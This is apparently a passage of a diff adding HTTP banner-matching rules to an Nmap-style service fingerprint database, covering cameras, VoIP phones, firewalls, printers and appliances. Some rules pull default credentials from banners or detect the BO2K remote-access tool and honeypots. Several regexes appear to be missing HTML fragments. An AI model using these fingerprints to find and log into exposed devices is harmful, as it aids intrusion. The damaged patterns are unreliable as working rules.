          \n\n$| p/HP System Management httpd/ +match http m|^HTTP/1\.0 200 OK\nContent-type: text/html\r\n.*DVR WebViewer\r\n\r\n.*\r\n\r\n|s p/MicroDigital MDR-4600 DVR httpd/ i/Resolution $1x$2; CmdPort $3; StreamPort $4/ d/media device/ +match http m|^HTTP/1\.0 200 OK\r\nServer: Senturion/([\w._-]+)\r\n.*Sensatronics: Senturion ([\w._-]+).*Willkommen zur Administration des Telefons|s p/Atcom AT-320 VoIP phone http config/ v/$2/ i/PalmMicro $1 chipset/ cpe:/h:atcom:at-320/a +match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Expires: Thu, 01 Jan 1970 00:00:00 GMT\r\n.*Dashboard.*|s p/Red Condor antispam appliance http config/ d/proxy server/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Digest realm=\"[\d.]+\", qop=\"auth\", nonce=\"[0-9a-f]+\"\r\n.*BMC HTTP Server\r\n.*\"\"|s p/HP Integrated Lights-Out http config/ d/remote management/ cpe:/h:hp:integrated_lights-out/ +match http m|^HTTP/1\.0 300 Multiple Choices\r\nServer: Rockpile Web Server\r\nDate: Sun, 00 Jan 1900 00:00:00 GMT\r\nConnection: close\r\nLocation: http://[\w._-]+/localmenus\.cgi\?func=604\r\nContent-type: text/html\r\n\r\n.*HTTP/1\.0 404 Not Found\r\nServer: Rockpile Web Server\r\nDate: Sun, 00 Jan 1900 00:00:00 GMT\r\n|s p/Rockpile httpd/ i/Cisco 7937 VoIP phone http config/ d/VoIP phone/ cpe:/h:cisco:7937/a +match http m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Basic realm=\"CentreWare Internet Services\"\r\n.*\r\n\r\n\r\nFAILED\r\n|s p/FujiXerox ApeosPort-IV C4470 http config/ d/printer/ +match http m|^HTTP/1\.1 404 Not Found\r\n(?:[^\r\n]+\r\n)*?Server: iTP Secure WebServer/([\w._() -]+)\r\nMIME-version: 1\.0\r\nContent-type: text/html\r\nConnection: close\r\n\r\nNot Found

          Not Found

          \n The requested object was not found on this server\.$|s p/iTP Secure WebServer/ v/$1/ i/HP Tandem NonStop/ +match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: iTP Secure WebServer/([\w._() -]+)\r\n.*Index of /|s p/iTP Secure WebServer/ v/$1/ i/HP Tandem NonStop/ +match http m|^HTTP/1\.1 302 Moved Temporarily\r\n(?:[^\r\n]+\r\n)*?Server: iTP WebServer with NSJSP/([\w._() -]+) \(HTTP/1\.1 Connector\)\r\nLocation: http://([\w._-]+):\d+/index\.html\r\n|s p/iTP WebServer with NSJSP/ v/$1/ i/HP Tandem NonStop/ h/$2/ +match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Indy/([\w._-]+)\r\n.*GregHSRWLib - RemObjects SDK for \.NET v([\w._-]+)|s p/Indy httpd/ v/$1/ i/.NET $2; Acer Registration Service; greghsrw.exe/ cpe:/a:indy:httpd:$1/ +match http m|^HTTP/1\.1 200 OK\r\nETag: W/\"[\d-]+\"\r\n(?:[^\r\n]+\r\n)*?Server: null\r\n.*HP - Data Center Fabric Manager|s p/HP Data Center Fabric Manager http config/ +match http m|^HTTP/1\.1 200 OK\r\nETag: W/\"[\d-]+\"\r\n(?:[^\r\n]+\r\n)*?Server: censhare hyena/([\w._-]+)\r\n|s p/censhare hyena httpd/ v/$1/ +match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?ETag: W/\"[\d-]+\"\r\n(?:[^\r\n]+\r\n)*?Server: Undefined\r\n.*|s p/McAfee ePolicy Orchestrator http interface/ cpe:/a:mcafee:epolicy_orchestrator/ +match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?ETag: (?:W/)?\"[\d-]+\"\r\n(?:[^\r\n]+\r\n)*?Server: Undefined\r\n.*|s p/McAfee ePolicy Orchestrator http interface/ cpe:/a:mcafee:epolicy_orchestrator/ +match http m|^HTTP/1\.1 401 \r\nDate: Sat, 21 Dec 1996 12:00:00 GMT\r\nWWW-Authenticate: Basic realm=\"Default password:1234\"\r\n\r\n401 Unauthorized - User authentication is required\.$| p/Edimax PS-1206P print server/ d/print server/ +match http m|^HTTP/1\.1 301 Moved Permanently\r\n(?:[^\r\n]+\r\n)*?Server: Noelios-Restlet-Engine/([\w._-]+)\r\nLocation: http://([\w._-]+)/index\.html\r\nVary: Accept-Charset,Accept-Encoding,Accept-Language,Accept,User-Agent\r\nContent-Length: 0\r\nConnection: close\r\nContent-Type: text/plain\r\n\r\n$|s p/Noelios Restlet Framework/ v/$1/ i/Sonatype Nexus Maven Repository Manager/ h/$2/ +match http m|^HTTP/1\.0 501 Not Implemented\r\nServer: SimpleHTTP/([\w._-]+) Python/([\w._-]+)\r\n(?:[^\r\n]+\r\n)*?Content-Type: text/html\r\nConnection: close\r\n\r\n\nError response\n\n\n

          Error response

          \n

          Error code 501\.\n

          Message: Not Implemented\.\n

          Error code explanation: 501 = Server does not support this operation\.\n\n$|s p/SimpleHTTPServer/ v/$1/ i/rPath Appliance Platform Agent; Python $2/ cpe:/a:python:python:$2/ cpe:/a:python:simplehttpserver:$1/ +match http m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: CMSHTTPD/([\w._-]+) z_VM/([\w._-]+) ([^\r\n]+)\r\n|s p/CMSHTTPD/ v/$1/ i|z/VM $2; $3| o|z/VM| cpe:/o:ibm:z%2fvm:$2/ +match http m|^HTTP/1\.0 200 OK\nServer: Cardax Embedded Interface\n.*

          CardaxFT Controller # (\d+) \(ETS\)

          .*
          Version: v([\w._/-]+) BootMon-([\w._-]+)\n$|s p/Cardax FT security system http interface/ v/$2/ i/Controller #$1; BootMon $3/ d/security-misc/ +match http m|^HTTP/1\.0 302 Moved Temporarily\r\nAllow: GET,POST,HEAD\r\nMIME-Version: 1\.0\r\nServer: (MA\w+) Server ([\w._-]+)\r\nLocation: http://0\.0\.0\.0\r\n\r\n$| p/Huawei $1 WAP http config/ v/$2/ cpe:/h:huawei:$1/a +match http m|^HTTP/1\.0 200 OK\r\nServer: ZyXEL SSLVPN Server v([\w._-]+)\r\n.*ZyWALL SSL(\d+)|s p/ZyXEL ZyWALL SSL $2 SSL-VPN applicance http config/ v/$1/ d/firewall/ +match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: \r\n.*ZyWALL ([^<]+)|s p/ZyXEL ZyWALL $1 firewall http config/ d/firewall/ cpe:/h:zyxel:zywall_$1/a +match http m|^HTTP/1\.0 200 OK\r\nExpires: 0\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n\nLogin\n\n| p/D-Link DGS-1200T-series switch http config/ d/switch/ +match http m|^HTTP/1\.1 505 HTTP Version not supported\r\nContent-Length: 0\r\nDate: .*\r\nAccept-Ranges: bytes\r\n\r\n$| p/Virtual Mic http synchronization/ d/media device/ o/iOS/ cpe:/o:apple:iphone_os/a +match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\n(?:[^\r\n]+\r\n)*?Server: Wireless Network Camera with Pan/Tilt\r\n|s p/Vivotek Network Camera http config/ d/webcam/ +match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\n(?:[^\r\n]+\r\n)*?Server: Network Camera with Pan/Tilt\r\n|s p/Vivotek Network Camera http config/ d/webcam/ +match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\n(?:[^\r\n]+\r\n)*?Server: Network Camera\r\n|s p/Vivotek IP7131 Network Camera http config/ d/webcam/ cpe:/h:vivotek:ip7131/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Basic realm=\"Remote-Motion CCD Network Camera\"\r\nContent-Type: text/html\r\nServer: Vivotek Network Camera\r\n\r\n\n\nProtected Object\n

          Protected Object

          This object on the server is protected\.

          \n$| p/Vivotek Network Camera http config/ d/webcam/ +match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Web Server\r\n.*NetGear ([\w._-]+)|s p/Netgear $1 switch http config/ d/switch/ cpe:/h:netgear:$1/ +match http m|^HTTP/1\.0 200 OK\r\nPragma: no-cache\r\n.*Management.*\n\n\n|s p/Tandberg MXP video conferencing http config/ d/webcam/ +match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: HyNetOS/([\w._-]+)\r\n.*(CS\d+) SNMP/Web Adapter|s p/Effekta MH 6000 UPS http config/ i|$2 SNMP/Web adapter; HyNetOS $1| d/power-device/ o/HyNetOS/ cpe:/o:hyperstone:hynetos:$1/ +match http m|^HTTP/1\.1 200 OK\r\nX-Cocoon-Version: ([\w._-]+)\r\nExpires: Thu, 01 Jan 1970 00:00:00 GMT\r\n.*F-Secure Policy Manager Web Reporting|s p/F-Secure Policy Manager http interface/ i/Apache Cocoon $1/ +match http m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: ShellHTTPD/([\w._-]+)\r\n.*Dachstein LEAF Firewall|s p/ShellHTTPD/ v/$1/ i/Dachstein LEAF firewall/ d/firewall/ o/Linux 2.2/ cpe:/o:linux:linux_kernel:2.2/ +match http m|^HTTP/1\.0 401 Unauthorized\r\nDate: Thu, 01 Jan 1970 00:00:00 GMT\r\nnServer: avtech/([\w._-]+)\.\.Expires: 0\r\nPragma: no-cache\r\nCache-Control: no-cache\r\nConnection: close\r\nContent-type: text/html;charset=ISO-8859-1\r\nWWW-Authenticate: Basic realm=server\r\nContent-Length: 163\r\n| p/avtech httpd/ v/$1/ i/Postef-8840 ADSL router/ d/broadband router/ +match http m|^HTTP/1\.0 200 Script output follows\r\nServer: shinGETsu/([\w._-]+) \(Saku/([\w._-]+)\) Python/([\w._-]+)\r\n| p/Saku/ v/$2/ i/client for shinGETsu $1 BBS; Python $3/ cpe:/a:python:python:$3/ +match http m|^HTTP/1\.1 503 HTTP is not licensed\.

          To set up this filer, use /api \.\r\nServer: Data ONTAP/([\w._-]+)\r\n| p/NetApp http vFiler/ o/Data ONTAP $1/ cpe:/a:netapp:data_ontap:$1/ +match http m|^HTTP/1\.1 503 HTTP is not licensed\.

          To administer this filer, use /na_admin/ \.\r\nServer: NetApp//([\w._-]+)\r\n| p/NetApp http vFiler/ v/$1/ o/Data ONTAP/ cpe:/a:netapp:data_ontap/ cpe:/o:netapp:data_ontap/a +match http m|^HTTP/1\.0 401 Unauthorized\r\nDate: .*\r\nCache-Control: no-cache,no-store\r\nWWW-Authenticate: Basic realm=\"\.\"\r\nContent-Type: text/html; charset=%s\r\nConnection: close\r\n\r\n\n401 Unauthorized\n\n

          401 Unauthorized

          \nAuthorization required\.\n\n\n| p/m0n0wall FreeBSD firewall web interface/ d/firewall/ o/FreeBSD/ cpe:/o:freebsd:freebsd/a +match http m|^HTTP/1\.0 401 Unauthorized\r\nDate: .*\r\nCache-Control: no-cache,no-store\r\nWWW-Authenticate: Basic realm=\"\.\"\r\nContent-Type: text/html; charset=%s\r\nConnection: close\r\n\r\n\n401 Unauthorized\n\n

          401 Unauthorized

          \nAuthorization required\. HuaCheng Technologies\n\n\n| p/HuaCheng firewall http config/ d/firewall/ +match http m|^HTTP/1\.0 501 Not Implemented\r\nDate: .*\r\nCache-Control: no-cache,no-store\r\nContent-Type: text/html; charset=%s\r\nConnection: close\r\n\r\n\n501 Not Implemented\n\n

          501 Not Implemented

          \nThat method is not implemented\.\n\n\n$| p/Western Digital My Book http config/ d/storage-misc/ +match http m|^HTTP/1\.1 200 OK\r\nServer: Axeda Agent Web Server/([\w._-]+)\r\n(?:[^\r\n]+\r\n)*?Last-Modified: 1200004200\r\n.*IM_v8_Data \r\n\r\n\r\n
          \r\n
          \r\n Server at ([\w._-]+) Port \d+|s p/ZyXEL ZyWALL USG 200 firewall http config/ i/redirect to port $1/ d/firewall/ h/$2/ cpe:/h:zyxel:zywall_usg_200/ +match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\n.*\n\t\n\t\n\t\n\t|s p/Buffalo NAS BitTorrent download manager http interface/ d/storage-misc/ +match http m|^HTTP/1\.0 200 OK\r\nContent-type: text/html\r\nContent-Encoding: gzip\r\nCache-Control: max-age=600, must-revalidate\r\n\r\n\x1f\x8b\x08\0\0\0\0\0\0\0| p/Modtronix SBC65EC Web Server/ +match http m|^HTTP/1\.0 301\r\n(?:[^\r\n]+\r\n)*?Server: OKWS/([\w._-]+)\r\n|s p/OKWS httpd/ v/$1/ +match http m|^HTTP/1\.0 200 OK\r\nContent-type: text/html\r\n\r\n.*PowerDownTop\n\n\n$|s p/thttpd/ i/Panasonic IP camera http viewer/ d/webcam/ cpe:/a:acme:thttpd/ +match http m|^HTTP/1\.0 200 OK\r\nServer: ZK Web Server\r\nPragma: no-cache\r\nCache-control: no-cache\r\n.*|s p/ZK Web Server/ i/ZKSoftware ZEM500 fingerprint reader; MIPS/ d/security-misc/ o/Linux/ cpe:/o:linux:linux_kernel/a +match http m|^HTTP/1\.0 404 Not Found\r\nContent-Length: 69\r\nContent-Type: text/html; charset=UTF-8\r\nServer: TornadoServer/([\w._-]+)\r\n\r\n404: Not Found404: Not Found$| p/Tornado httpd/ v/$1/ cpe:/a:tornadoweb:tornado:$1/a +match http m|^HTTP/1\.1 301 0\w\w\w, \d\d \w\w\w \d\d\d\d \d\d:\d\d:\d\d GMT\r\nServer: Agranat-EmWeb/R([\d_]+)\r\nLocation: https://[\d.]+/web/content/index\.html\r\n| p/Agranat-EmWeb/ v/$SUBST(1,"_",".")/ i/Alcatel 7800 switch http config/ d/switch/ cpe:/a:agranat:emweb:$SUBST(1,"_",".")/a cpe:/h:alcatel:7800/a +# Juniper SRX-240H UTM firewall +# Juniper EX2200-48T-4G switch +match http m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Mbedthis-Appweb/([\w._-]+)\r\nCache-Control: no-cache, must-revalidate\r\nContent-type: text/html\r\nETag: \"[0-9a-f-]+\"\r\n(?:[^\r\n]+\r\n)*?X-Powered-By: PHP/([\w._-]+)\r\nExpires: Mon, 26 Jul 1997 05:00:00 GMT\r\n.*Log In - Juniper Web Device Manager|s p/Mbedthis-Appweb/ v/$1/ i/PHP $2/ d/firewall/ o/JUNOS/ cpe:/a:mbedthis:appweb:$1/ cpe:/a:php:php:$2/ cpe:/o:juniper:junos/a +match http m|^HTTP/1\.0 403 Not Authorized\r\nContent-Type: text/html\r\nContent-Length: 379\r\n\r\n<\?xml version=\"1\.0\" encoding=\"US-ASCII\"\?>.*

          Will not send listings for this directory\.

          \r\n\r\n\r\n|s p/Ashd httpd/ +match http m|^HTTP/1\.1 200\r\nContent-type: text/html\r\nConnection: close\r\nCONTENT-LENGTH: \d+\r\n.*\r\n.*Phoenix PowerAgent GP|s p/Phoenix PowerAgent GP power monitor http interface/ d/power-device/ +match http m|^HTTP/1\.0 200 OK\r\nAccept-Ranges: none\r\nConnection: close\r\nContent-Encoding: identity\r\nContent-Length: 4240\r\nContent-Type: text/html; charset=ISO-8859-1\r\n(?:[^\r\n]+\r\n)*?Server: IST OIS\r\n.*Allworx Hosted Web Site|s p/Allworx 6x VoIP phone http config/ d/VoIP phone/ cpe:/h:allworx:6x/a +match http m|^HTTP/1\.0 403 Forbidden\r\nAccept-Ranges: none\r\nConnection: close\r\nContent-Encoding: identity\r\nContent-Length: 0\r\nContent-Type: text/plain\r\nDate: .*\r\nServer: IST OIS\r\n\r\n$| p/Allworx VoIP network server http admin/ d/VoIP adapter/ +match http m|^HTTP/1\.0 401 Unauthorized\r\nDate: .*\r\nWWW-Authenticate: Basic realm=\"ACEswitch@[\d.]+\"\r\n\r\n401 Unauthorized\r\n$| p/Alteon 2424-SSL load balancer http config/ d/load balancer/ +match http m|^HTTP/1\.0 302 Found\r\nConnection: Close\r\nLocation: /search\?site=default_collection&client=default_frontend&output=xml_no_dtd&proxystylesheet=default_frontend&proxycustom=\r\nContent-Type: text/html\r\nContent-Length: 0\r\n\r\n$| p/Google Mini search appliance httpd/ +match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Apache/x\.x\.x \(Unix\) mod_ssl/x\.x\.x OpenSSL/([\w._-]+)\r\n.* FASTORA Filer Storage Manager .*classid=\"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\">|s p/Apache httpd/ i/Fastora NAS T2 NAS device; OpenSSL $1/ d/storage-misc/ o/FreeBSD/ cpe:/a:apache:http_server/ cpe:/a:openssl:openssl:$1/ cpe:/o:freebsd:freebsd/a +match http m|^HTTP/1\.1 400 Bad Request\r\nDate: .*\r\nCache-Control: private\r\nServer: IPOffice/([\w._()-]+)\r\nContent-Type: text/plain\r\nContent-Length: 13\r\n\r\nParsing error$| p/Avaya IP Office VoIP PBX httpd/ v/$1/ d/PBX/ +match http m|^HTTP/1\.0 301 Moved Permanently\r\nDate: .*\r\n(?:Expires: .*\r\n)?Cache-Control: private(?:,max-age=\d+)?\r\nLocation: /index\.html\r\nServer: IPOffice/([\w._()-]+)\r\nContent-Type: text/plain\r\nContent-Length: 22\r\n\r\nRedirect to index\.html$| p/Avaya IP Office VoIP PBX httpd/ v/$1/ d/PBX/ +match http m|^HTTP/1\.0 301 Moved Permanently\r\nDate: .*\r\n(?:Expires: .*\r\n)?Cache-Control: private(?:,max-age=\d+)?\r\nLocation: /index\.html\r\nServer: IPOffice/\r\nContent-Type: text/plain\r\nContent-Length: 22\r\n\r\nRedirect to index\.html$| p/Avaya IP Office VoIP PBX httpd/ d/PBX/ +match http m|^HTTP/1\.0 404 Not Found\r\nConnection: close\r\nServer: SimpleHTTPtutorial v([\w._-]+)\r\n\r\n$| p/SimpleHTTPtutorial httpd/ v/$1/ +match http m|^HTTP/1\.0 200 OK\n.*Server: uClinux-httpd ([\w._-]+)\nExpires: 0\n\n.*DxClient NetViewer.*Welcome.*\n\n\n| p/Speakerbus iD101 VoIP phone http config/ d/VoIP phone/ cpe:/h:speakerbus:id101/ +match http m|^HTTP/1\.0 401 Unauthorized\nContent-Type: text/html; charset=iso-8859-1\nExpires: Thu, 01 Dec 1994 23:12:40 GMT\nServer: ServersCheck_Monitoring_Server/([\w._-]+)\n.*

          Username / Password is still (\w+/\w+)\. Please update\.

          |s p/ServersCheck Monitoring Server httpd/ v/$1/ i/credentials: $2/ +match http m|^HTTP/1\.0 401 Unauthorized\nContent-Type: text/html\nExpires: Thu, 01 Dec 1994 23:12:40 GMT\nServer: ServersCheck_Monitoring_Server/([\w._-]+)\n|s p/ServersCheck Monitoring Server httpd/ v/$1/ +match http m|^HTTP/1\.1 505 HTTP Version Not Supported\r\n.*VMware View|s p/VMware ESX Server httpd/ cpe:/o:vmware:esx/ +match http m|^HTTP/1\.1 200 Ok\r\nServer: PMSoftware-SWS/([\w._-]+)\r\n| p/PMSoftware Simple Web Server/ v/$1/ +match http m|^HTTP/1\.1 200 OK\r\ncontent-type: text/html\r\ncontent-length: \d+\r\nlast-modified: .*\r\netag: [0-9a-f]+\r\nConnection: close\r\n\r\n| p/Node.js/ cpe:/a:nodejs:node.js/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: (DPH-\w+)\r\n| p/D-Link $1 VoIP phone http config/ d/VoIP phone/ cpe:/h:dlink:$1/ +match http m|^HTTP/1\.1 200 OK\r\nServer: Mango DSP HTTP Stack\r\n.*Mango IP Node Configuration|s p/Mango DSP AVS Raven-M video server http config/ d/media device/ +# Last-Modified has time zone. +match http m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nContent-Length: \d+\r\nContent-Type: text/html\r\nLast-Modified: .* [-+]\d+\r\nExpires: .*\r\n\r\n| p/OpenText FirstClass webmail httpd/ cpe:/a:opentext:firstclass/ +match ssl/http m|^HTTP/1\.0 403 Secure Channel Required\r\nConnection: close\r\nContent-Length: \d+\r\nContent-Type: text/plain; charset=utf-8\r\nDate: .*\r\nServer: ExpertAssist/([\w._-]+)\r\n| p/ExpertAssist/ v/$1/ i/ScriptLogic Remote Desktop/ +match ssl/http m|^HTTP/1\.0 302 Moved Temporarily\r\nAccept-Ranges: none\r\nConnection: close\r\nContent-Length: 0\r\nContent-Type: application/octet-stream\r\nDate: .*\r\nLocation: https://[^/]*/\r\nServer: ExpertAssist/([\w._-]+)\r\n| p/ExpertAssist/ v/$1/ i/ScriptLogic Remote Desktop/ +match http m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: ExpertAssist/([\w._-]+)\r\nSet-Cookie: RASID=\w+; path=/\r\n|s p/ExpertAssist/ v/$1/ i/ScriptLogic Remote Desktop/ +match http m|^HTTP/1\.0 200 OK\r\nSet-Cookie: LOGSSLCHECK=nossl; path=/; expires=.*\r\nCache-Control: no-cache\r\nConnection: close\r\nContent-Language: en\r\nContent-Length: \d+\r\nContent-Location: /default\.html\r\n.*ExpertAssist|s p/ScriptLogic ExpertAssist remote management httpd/ d/remote management/ +match http m|^HTTP/1\.0 200 OK\r\nCache-Control: no-cache\r\nExpires: -1\r\nContent-Type: text/html\r\n\r\n\r\n\r\n\r\n Thomson Gateway - Startseite| p/Thomson SpeedTouch 536i router http config/ d/router/ cpe:/h:thomson:536i/ +match http m|^HTTP/1\.1 200\r\nContent-type: text/html\r\nConnection: close\r\nCONTENT-LENGTH: 240\r\n\r\n\r\n\r\nWeb-Manager ([\w._-]+)\r\n\r\n\r\n
          \r\n\r\n\r\n\r\n\r\n\r\n$| p/Napco Netlink NL-MOD http config/ v/$1/ +match http m|^\r\n\r\n\r\n
          ERF-Gateway Settings & States
          \r\n\r\n\r\n| p/LaCrosse GW-1000U weather station httpd/ v/$1 $2/ +match http m|^HTTP/1\.0 200 OK\r\nServer: \$ProjectRevision: ([\w._-]+) \$\r\nContent-Type: text/html\r\n\r\n\n\n \n \n| p/Teradici PCoIP remote management http config/ v/$1/ d/remote management/ +match http m|^HTTP/1\.1 301 Moved Permanently\r\nLocation: https://\(null\)/\r\nContent-Length: 2\r\n\r\n\r\n| p/Teradici PCoIP remote management http config/ d/remote management/ +match http m|^HTTP/1\.0 200 OK\r\nDate: .*\r\nContent-Length: 131\r\nContent-Type: text/html\r\n\r\n\n\n\n\n\n\n\n\n\n$| p/Digital Stream DPS-1000 set-top box http config/ d/media device/ +match http m|^HTTP/1\.0 200 OK\nConnection: close\nContent-type: text/html\nContent-Length: \d+\n\n\n\n\n\n\nNetcool/ISM Login\n| p/IBM Netcool Internet Service Monitors httpd/ +match http m|^HTTP/1\.0 200 OK\r\nDate: .*\r\nServer: Z-World Rabbit\r\nConnection: close\r\nContent-Type: text/html\r\n\r\n\r\n\r\nSafetyNet Series 5| p/Z-World Rabbit microcontroller httpd/ i/SafetyNet Series 5 environmental monitor/ d/specialized/ +match http m|^HTTP/1\.1 404 Not Found\r\nConnection: close\r\nContent-Type: text/html\r\nContent-Length: 48\r\nServer: Indy/([\w._-]+)\r\n\r\nThe requested URL / was not found on this server$| p/Indy httpd/ v/$1/ i/Avaya VoIP phone upgrade service/ cpe:/a:indy:httpd:$1/a +match http m|^HTTP/1\.1 200 OK\r\nCONTENT-ENCODING: gzip\r\nEXPIRES: .*\r\nCONTENT-LENGTH: \d+\r\nLAST-MODIFIED: .*\r\nDATE: .*\r\nCONTENT-TYPE: text/html; charset=UTF-8\r\nCACHE-CONTROL: max-age=0, no-cache, public\r\nSERVER: Linux/([\w._-]+) Motorola/([\w._-]+) DAV/2\r\n| p/Moto Phone Portal httpd/ i/Linux $1; Motorola Defy $2/ d/phone/ o/Android/ cpe:/o:google:android/ cpe:/o:linux:linux_kernel:$1/ +match http m|^HTTP/1\.1 302 Found\r\nServer: httpd\r\nDate: .*\r\nLocation: login\.html\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 0\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nExpires: 0\r\nConnection: close\r\n\r\n$| p/Green Packet DX230 WAP http config/ d/WAP/ cpe:/h:green_packet:dx230/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: Radware-web-server\r\nWWW-Authenticate: Basic realm=\"Radware\"\r\nPragma: no-cache\r\nCache-Control: no-cache\r\nContent-Type: text/html\r\n\r\nDocument Error: Unauthorized| p/Radware OnDemand switch http config/ d/switch/ +match http m|^HTTP/1\.0 401 Unauthorized\nServer: Gnat-Box/([\w._-]+)\n| p/Global Technology Associates Gnat Box firewall http config/ v/$1/ d/firewall/ +match http m|^HTTP/1\.1 400 Bad Request\r\nDate: Mon, 21 Feb 2011 17:38:00 GMT\r\nContent-Length: 0\r\n\r\n$| p/Apple TV httpd/ d/media device/ cpe:/a:apple:apple_tv/ +match http m|^HTTP/1\.1 307 Temporary Redirect\r\n(?:[^\r\n]+\r\n)*?Content-Length: 0\r\nConnection: keep-alive\r\nServer: AmazonS3\r\n\r\n$|s p/Amazon S3 httpd/ +match http m|^HTTP/1\.1 200 OK\nServer: BO/([\w._-]+)\nDate: .*\nContent-type: text/html\nPublic: GET, POST\nConnection: keep-alive\n\n| p/BO2K built-in httpd/ v/$1/ +match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/plain\r\nConnection: close\r\n\r\nHello, non-Bayeux request\. Yet another one$| p/Node.js/ i/Faye Bayeux protocol/ cpe:/a:nodejs:node.js/ +match http m|^HTTP/1\.[01] \d\d\d [^\r\n]*\r\nCONTENT-TYPE: text/html\r.*\nServer: IBM_CICS_Transaction_Server/([\w._-]+)\(zOS\)\r\n|s p/IBM CICS Transaction Server/ v/$1/ o|z/OS| cpe:/o:ibm:z%2fos/ +match http m|^HTTP/1\.1 200 OK\r\nServer: corehttp-([\w._-]+)\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n
          | p/CoreHTTP/ v/$1/ i/directory listing/
          +# http://code.google.com/p/webfinger/
          +match http m|^HTTP/1\.1 400 Bad request\r\n\r\n$| p/WebFinger httpd/
          +match http m|^HTTP/1\.1 500 Internal Server Error\r\nContent-Type: text/plain; charset=UTF-8\r\n\r\nFailure: 500 Internal Server Error\r\nnull\r\n\r\n$| p/Eucalyptus httpd/
          +match http m|^HTTP/1\.0 200 OK\r\nContent-type: text/html; charset=utf-8\r\nContent-Length: 204\r\n\r\n\nDirectory listing for /\n\n

          Directory listing for /

          \n
          \n\n
          \n\n\n$| p/Dionaea honeypot httpd/ +# http://www.erlang.org/doc/man/inets.html +match http m|^HTTP/1\.0 200 OK\r\nServer: inets/([\w._-]+)\r\n| p/inets/ v/$1/ +match http m|^HTTP/1\.0 200 OK\r\nConnection: close\r\nContent-Encoding: gzip\r\nContent-Type: text/html; charset=iso-8859-1\r\n\r\n\x1f\x8b\x08\0\0\0\0\0\x02\x03\xa5\x93Mo| p/HP ProCurve 1800-24G switch http config/ d/switch/ cpe:/h:hp:procurve_switch_1800/ cpe:/o:hp:procurve_switch_software/ +match http m|^HTTP/1\.1 200 OK\r\nServer: afts/([\w._-]+)\r\n| p/afts/ v/$1/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: OBi(\w+)\r\n| p/Obihai OBi$1 VoIP adapter http config/ d/VoIP adapter/ cpe:/h:obihai:obi$1/ +match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Length: \d+\r\nDate: .*\r\nConnection: close\r\n\r\n1\.0\n(?:\d\d\d\d-\d\d-\d\d\n)+| p/OpenStack Nova httpd/ +match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Length: \d+\r\nDate: .*\r\nConnection: close\r\n\r\n{\"versions\": \[{\"status\": \"CURRENT\", \"id\": \"v([\w._-]+)\"}\]}| p/OpenStack Nova httpd/ v/$1/ +# http://www.fastpath.it/products/palantir/index.php +match http m|^HTTP/1\.0 200 OK\r\nContent-Type: multipart/x-mixed-replace; boundary=--mp-boundary\r\nExpires: .*\r\nPragma: no-cache\r\nCache-Control: no-store, no-cache\r\nX-Protocol-Version: (\d+)\r\nX-Greeting: Livefeed\r\n\r\n--mp-boundary\r\n| p/Palantir media streaming httpd/ i/protocol $1/ +match http m|^HTTP/1\.0 200 OK\r\nCache-Control: no-cache\r\nContent-Type: text/html\r\nContent-Length: \d+\r\nServer: MediaMallServer/([\w._-]+)\r\n| p/PlayOn MediaMallServer httpd/ v/$1/ +match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n\nI-O DATA Broadband Router ETX-R| p/I-O Data ETX-R router http config/ d/router/ +match http m|^HTTP/1\.0 401 com\.wm\.app\.b2b\.server\.AccessException: com\.wm\.app\.b2b\.server\.AccessException: \[ISS\.0084\.9004\] Access Denied\r\nWWW-Authenticate: Basic realm=\"webMethods\"\r\n| p/Software AG webMethods httpd/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Basic realm=\"Secure Area\"\r\nContent-Type: text/html\r\n\r\nError401 Unauthorized$| p/ScriptLogic Image Center remote agent httpd/ d/remote management/ +match http m|^HTTP/1\.0 200 OK\r\nDate: .*\r\nExpires: .*\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Length: \d+\r\n\r\nWelcome to (963)| p/Trend $1 building control system httpd/ d/security-misc/ cpe:/h:trend:$1/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nWww-Authenticate: Basic REALM=\"elmeg\"\r\nContent-Type: text/plain\r\nContent-Length: 22\r\n\r\nUnauthorized request\r\n$| p/Elmeg IP 290 VoIP phone http config/ d/VoIP phone/ cpe:/h:elmeg:ip_290/ +match http m|^HTTP/1\.1 401 Authorization Required\nDate: .* ([-+]\d+)\nServer: WebPidginZ \n([\w._-]+)\nWWW-Authenticate: Digest 